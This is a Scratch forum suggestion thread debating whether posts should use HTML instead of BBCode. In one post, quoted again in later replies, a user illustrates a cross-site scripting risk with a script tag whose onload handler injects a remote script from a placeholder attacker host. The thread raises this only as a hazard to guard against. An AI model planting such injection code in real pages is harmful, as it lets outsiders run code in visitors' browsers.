Discuss Scratch
- Discussion Forums
- » Suggestions
- » make forums use HTML instead of BBcode
- space_elephant
-
500+ posts
make forums use HTML instead of BBcode
BBcode is missing many features needed by a forum. I think that switching to HTML can fix this.
There are only a few modifications that are needed first:
<DOCTYPE html>
The doctype, html, and body tags should not be needed.
should become
This requires seperate code for the <head>
should be
not
<script>
<script> tags should only be available if the src is a scratch js file. This is needed to display scratch projects.
<style> and <link>
Stylesheats should be scoped to the post they are on. I suggest an option to make a `style.css' and attach it as a link to the main `index.html' The parser may convert this to an inline stylesheat.
<title>
<title> tags should show their contents on the blue bar above the post. This excepts topic posts, where the title will replace the Subject line in the editor
<scratchblocks>
<scratchblocks> will replace [scratchblocks] It will be the same in every way.
<img>
There should be some way to upload images for posts. This is slightly different then the main suggestion, but should still happen.
There are only a few modifications that are needed first:
<DOCTYPE html>
The doctype, html, and body tags should not be needed.
BODY CODE
<DOCTYPE html> <html> <body> BODY CODE </body> </html>
<head> HEAD CODE </head> BODY CODE
<DOCTYPE html> <html> <head> HEAD CODE </head> <body> BODY CODE </body> </html>
<DOCTYPE html> <html> <body> <head> HEAD CODE </head> BODY CODE </body> </html>
<script>
<script> tags should only be available if the src is a scratch js file. This is needed to display scratch projects.
<style> and <link>
Stylesheats should be scoped to the post they are on. I suggest an option to make a `style.css' and attach it as a link to the main `index.html' The parser may convert this to an inline stylesheat.
<title>
<title> tags should show their contents on the blue bar above the post. This excepts topic posts, where the title will replace the Subject line in the editor
<scratchblocks>
<scratchblocks> will replace [scratchblocks] It will be the same in every way.
<img>
There should be some way to upload images for posts. This is slightly different then the main suggestion, but should still happen.
- Inkulumo
-
500+ posts
make forums use HTML instead of BBcode
No support BBCode is fine and most Scratchers don't understand nor wish to learn HTML syntax.
- -ShadowOfTheFuture-
-
1000+ posts
make forums use HTML instead of BBcode
How would you prevent this from breaking every previously-made forum post?
- space_elephant
-
500+ posts
make forums use HTML instead of BBcode
How would you prevent this from breaking every previously-made forum post?
var result = []; var char; var open; for (var index=0; index<str.length; indx ++) { char = str[index]; if (char === '[') { open = index; result.push(char); } else if (char === ']') { result[open] = '<'; result.push('>'); } else if (char === '&') {// XML escapes result.push('&'); } else if (char === "'") {// XML escapes result.push('''); } else if (char === '"') {// XML escapes result.push('"'); } else if (char === '<') {// XML escapes result.push('<'); } else if (char === '>') {// XML escapes result.push('>'); } else { result.push(char); } }
- Inkulumo
-
500+ posts
make forums use HTML instead of BBcode
Seriously, why? No support BBCode is fine and most Scratchers don't understand nor wish to learn HTML syntax.
- DownsGameClub
-
1000+ posts
make forums use HTML instead of BBcode
BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.
Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
- space_elephant
-
500+ posts
make forums use HTML instead of BBcode
<script> tags should only be available if the src is a scratch js file, as in the OP. BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.
Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
Also, the onload attribute should be limited as much as possible, to prevent things like
<script src="https://scratch-mit-edu.ezproxyberklee.flo.org/a/perfectly/reasonable/script/url.js" onload="var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);"/>
var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);
<script src="https://cross.site.scripter.com/myScript.js"/>
- Inkulumo
-
500+ posts
make forums use HTML instead of BBcode
ok but this is overly complicated and we really should just keep bbcode. why do you push html?<script> tags should only be available if the src is a scratch js file, as in the OP. BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.
Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
Also, the onload attribute should be limited as much as possible, to prevent things likeThe javascript is<script src="https://scratch-mit-edu.ezproxyberklee.flo.org/a/perfectly/reasonable/script/url.js" onload="var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);"/>which adds avar script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);to the head.<script src="https://cross.site.scripter.com/myScript.js"/>
- Epicness123
-
1000+ posts
make forums use HTML instead of BBcode
Why do we need HTML? I don’t see anything wrong with BBcode.
- katixirro
-
100+ posts
make forums use HTML instead of BBcode
BBcode is usually used on forums and stuff like this, and anyway, it would be too confusing and impossible to type anything. (it’s a good idea but I don’t think it would work on here
)

- CaptainRatlex
-
1000+ posts
make forums use HTML instead of BBcode
I would suggest to use both, users can chose
- space_elephant
-
500+ posts
make forums use HTML instead of BBcode
Support to this. I would suggest to use both, users can chose
I disagree on this point because if I didn't care about usability, I wouldn't have made a suggestion. That's what suggestions are for. it would be too confusing and impossible to type anything.
- space_elephant
-
500+ posts
make forums use HTML instead of BBcode
Because HTML is easier to remember, and has enough power for scratch.ok but this is overly complicated and we really should just keep bbcode. why do you push html?<script> tags should only be available if the src is a scratch js file, as in the OP. BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.
Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
Also, the onload attribute should be limited as much as possible, to prevent things likeThe javascript is<script src="https://scratch-mit-edu.ezproxyberklee.flo.org/a/perfectly/reasonable/script/url.js" onload="var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);"/>which adds avar script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);to the head.<script src="https://cross.site.scripter.com/myScript.js"/>
- Vaibhs11
-
1000+ posts
make forums use HTML instead of BBcode
I don't (at least there are some) understand what's the difference. Like <> turn into but BBcode is 25% easier with no confusing syntax and words. That's why everyone supports BBcode. I can spot that because I'm an intermediate in HTML and CSS and I support what CaptainRatlex said

<i>wot</i>
I love both I suggest to use both, users can choose

<i>wot</i>
Last edited by Vaibhs11 (Sept. 15, 2020 02:15:00)
- TapingAnimations
-
1000+ posts
make forums use HTML instead of BBcode
no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
- scratch978654
-
100+ posts
make forums use HTML instead of BBcode
Why's everyone underestimating kids. no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
Guess my age. For one thing it's less than 13.
I'm at an advanced level in HTML, CSS and js.
Besides, I support. It helps people learn HTML and it's really just replacing [b] with <b>.
- TapingAnimations
-
1000+ posts
make forums use HTML instead of BBcode
I'm just 10 and were not even learning Html at SchoolWhy's everyone underestimating kids. no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
Guess my age. For one thing it's less than 13.
I'm at an advanced level in HTML, CSS and js.
Besides, I support. It helps people learn HTML and it's really just replacing [b] with <b>.
- -InsanityPlays-
-
1000+ posts
make forums use HTML instead of BBcode
<opinions>I don't think they should ONLY use HTML but maybe both languages?</opinions>
- TapingAnimations
-
1000+ posts
make forums use HTML instead of BBcode
And what does CSS and js ,mean? I never heard of itWhy's everyone underestimating kids. no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
Guess my age. For one thing it's less than 13.
I'm at an advanced level in HTML, CSS and js.
Besides, I support. It helps people learn HTML and it's really just replacing [b] with <b>.

Last edited by TapingAnimations (Sept. 15, 2020 06:51:48)
- Discussion Forums
- » Suggestions
-
» make forums use HTML instead of BBcode